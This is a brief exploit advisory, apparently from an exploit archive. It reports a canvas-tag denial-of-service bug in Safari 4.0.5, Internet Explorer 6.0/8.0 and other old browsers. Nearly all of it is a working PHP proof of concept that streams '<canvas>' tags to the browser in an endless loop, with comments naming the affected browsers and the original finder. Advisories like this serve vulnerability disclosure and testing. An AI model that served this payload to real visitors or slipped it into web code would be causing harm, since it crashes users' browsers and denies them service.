Safari 4.0.5 and Internet Explorer 6.0 / 8.0 suffer from a canvas tag denial of service vulnerability.
3d68e03674c167cdb9f2be68ee115a16ce37f9b9fa334ccac260022a178880a3
<?php
# Canvas tag DoS Mozilla firefox 3.6.3
# Canvas tag DoS Safari 4.0.5 (TESTED)
# Canvas tag DoS Google Chrome 4.1
# Canvas tag DoS Opera 10.52
# Canvas tag DoS Internet Explorer 6.0 & 8.0 (TESTED)
#
# Found by Jelmer de Hen
# published at http://h.ackack.net/?p=269
# OS: Windows XP SP3
# Mozilla Firefox 3.6.3
echo "<html><body>";
while (1){
echo "<canvas>";
}
echo "</body>";
echo "</html>";
?>